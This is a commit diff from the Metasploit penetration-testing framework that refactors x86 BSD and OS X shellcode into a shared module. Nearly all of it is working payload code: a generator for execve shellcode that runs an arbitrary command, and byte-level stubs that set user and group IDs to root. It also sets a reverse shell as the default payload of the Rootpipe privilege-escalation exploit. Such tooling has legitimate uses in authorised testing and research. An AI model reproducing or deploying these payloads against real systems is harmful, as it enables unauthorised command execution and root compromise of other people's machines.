Land #5148, DRY BSD/OS X shellcode
Also fix a semi-regression in the Rootpipe exploit.bug/bundler_fix
commit
01625e3bba
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/bsd/x86'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -10,6 +11,8 @@ require 'msf/core'
|
|||
###
|
||||
module Msf::Payload::Bsd
|
||||
|
||||
include Msf::Payload::Bsd::X86
|
||||
|
||||
#
|
||||
# This mixin is chained within payloads that target the BSD platform.
|
||||
# It provides special prepends, to support things like chroot and setuid.
|
||||
|
@ -73,7 +76,6 @@ module Msf::Payload::Bsd
|
|||
ret
|
||||
end
|
||||
|
||||
|
||||
def apply_prepends(buf)
|
||||
test_arch = [ *(self.arch) ]
|
||||
pre = ''
|
||||
|
@ -88,76 +90,6 @@ module Msf::Payload::Bsd
|
|||
pre + buf + app
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
def handle_x64_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
|
|
@ -0,0 +1,130 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
# Contains common x86 BSD code
|
||||
###
|
||||
module Msf::Payload::Bsd
|
||||
module X86
|
||||
|
||||
def bsd_x86_exec_payload
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
# the non-exe-path parts of the chunks need to be reversed for execve
|
||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||
|
||||
payload = ''
|
||||
|
||||
# Stuff an array of arg strings into memory
|
||||
payload << "\x31\xc0" # xor eax, eax (eax => 0)
|
||||
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
|
||||
payload << arg_str
|
||||
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
|
||||
|
||||
# now EBX contains &cmd_parts[0], the exe path
|
||||
if cmd_parts.length > 1
|
||||
# Build an array of pointers to arguments
|
||||
payload << "\x89\xD9" # mov ecx, ebx
|
||||
payload << "\x50" # push eax; null byte (end of array)
|
||||
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
||||
|
||||
cmd_parts[1..-1].each_with_index do |arg, idx|
|
||||
l = [cmd_parts[idx].length+1].pack('V')
|
||||
# can probably save space here by doing the loop in ASM
|
||||
# for each arg, push its current memory location on to the stack
|
||||
payload << "\x81\xC1" # add ecx, ...
|
||||
payload << l # (cmd_parts[idx] is the prev arg)
|
||||
payload << "\x51" # push ecx (&cmd_parts[idx])
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx (&cmd_parts[0])
|
||||
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
|
||||
payload << "\x52" # push edx
|
||||
payload << "\x51" # push ecx
|
||||
else
|
||||
# pass NULL args array to execve() call
|
||||
payload << "\x50\x50" # push eax, push eax
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx
|
||||
payload << "\xb0\x3b" # mov al, 0x3b (execve)
|
||||
payload << "\x50" # push eax
|
||||
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -19,13 +19,6 @@ module Msf::Payload::Osx
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetreuid',
|
||||
[
|
||||
false,
|
||||
|
@ -40,13 +33,6 @@ module Msf::Payload::Osx
|
|||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetregid',
|
||||
[
|
||||
false,
|
||||
|
@ -89,16 +75,6 @@ module Msf::Payload::Osx
|
|||
end
|
||||
|
||||
def handle_x86_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
|
@ -119,17 +95,6 @@ module Msf::Payload::Osx
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
|
@ -159,10 +124,6 @@ module Msf::Payload::Osx
|
|||
end
|
||||
|
||||
def handle_x64_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
|
@ -185,11 +146,6 @@ module Msf::Payload::Osx
|
|||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
|
|
|
@ -48,6 +48,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
|
||||
'PrependSetreuid' => true
|
||||
}
|
||||
))
|
||||
|
|
|
@ -17,79 +17,36 @@ require 'msf/core'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 42
|
||||
CachedSize = 16
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'BSD Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => 'vlad902',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => ARCH_X86))
|
||||
'Name' => 'BSD Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [
|
||||
'snagg <snagg[at]openssl.it>',
|
||||
'argp <argp[at]census-labs.com>',
|
||||
'joev'
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => ARCH_X86
|
||||
))
|
||||
|
||||
# Register exec options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class)
|
||||
register_options([
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
cmd = datastore['CMD'] || ''
|
||||
asm = <<-EOS
|
||||
;;
|
||||
;
|
||||
; Name: single_exec
|
||||
; Platforms: *BSD
|
||||
; Author: vlad902 <vlad902 [at] gmail.com>
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Execute an arbitary command.
|
||||
;
|
||||
;;
|
||||
; NULLs are fair game.
|
||||
|
||||
push 0x3b
|
||||
pop eax
|
||||
cdq
|
||||
|
||||
push edx
|
||||
push 0x632d
|
||||
mov edi, esp
|
||||
|
||||
push edx
|
||||
push 0x68732f6e
|
||||
push 0x69622f2f
|
||||
mov ebx, esp
|
||||
|
||||
push edx
|
||||
call getstr
|
||||
db "CMD", 0x00
|
||||
getstr:
|
||||
push edi
|
||||
push ebx
|
||||
mov ecx, esp
|
||||
push edx
|
||||
push ecx
|
||||
push ebx
|
||||
push eax
|
||||
int 0x80
|
||||
EOS
|
||||
asm.gsub!(/CMD/, cmd.gsub('"', "\\\""))
|
||||
payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
|
||||
bsd_x86_exec_payload
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -6,7 +6,6 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Exec
|
||||
|
@ -20,79 +19,32 @@ module Metasploit3
|
|||
CachedSize = 16
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd::X86
|
||||
include Msf::Payload::Osx
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OS X Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' =>
|
||||
[
|
||||
'snagg <snagg[at]openssl.it>',
|
||||
'argp <argp[at]census-labs.com>',
|
||||
'joev'
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86
|
||||
'Name' => 'OS X Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [
|
||||
'snagg <snagg[at]openssl.it>',
|
||||
'argp <argp[at]census-labs.com>',
|
||||
'joev'
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class
|
||||
)
|
||||
register_options([
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
# the non-exe-path parts of the chunks need to be reversed for execve
|
||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||
|
||||
payload = ''
|
||||
|
||||
# Stuff an array of arg strings into memory
|
||||
payload << "\x31\xc0" # xor eax, eax (eax => 0)
|
||||
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
|
||||
payload << arg_str
|
||||
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
|
||||
|
||||
# now EBX contains &cmd_parts[0], the exe path
|
||||
if cmd_parts.length > 1
|
||||
# Build an array of pointers to arguments
|
||||
payload << "\x89\xD9" # mov ecx, ebx
|
||||
payload << "\x50" # push eax; null byte (end of array)
|
||||
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
||||
|
||||
cmd_parts[1..-1].each_with_index do |arg, idx|
|
||||
l = [cmd_parts[idx].length+1].pack('V')
|
||||
# can probably save space here by doing the loop in ASM
|
||||
# for each arg, push its current memory location on to the stack
|
||||
payload << "\x81\xC1" # add ecx, ...
|
||||
payload << l # (cmd_parts[idx] is the prev arg)
|
||||
payload << "\x51" # push ecx (&cmd_parts[idx])
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx (&cmd_parts[0])
|
||||
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
|
||||
payload << "\x52" # push edx
|
||||
payload << "\x51" # push ecx
|
||||
else
|
||||
# pass NULL args array to execve() call
|
||||
payload << "\x50\x50" # push eax, push eax
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx
|
||||
payload << "\xb0\x3b" # mov al, 0x3b (execve)
|
||||
payload << "\x50" # push eax
|
||||
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
|
||||
|
||||
payload
|
||||
bsd_x86_exec_payload
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue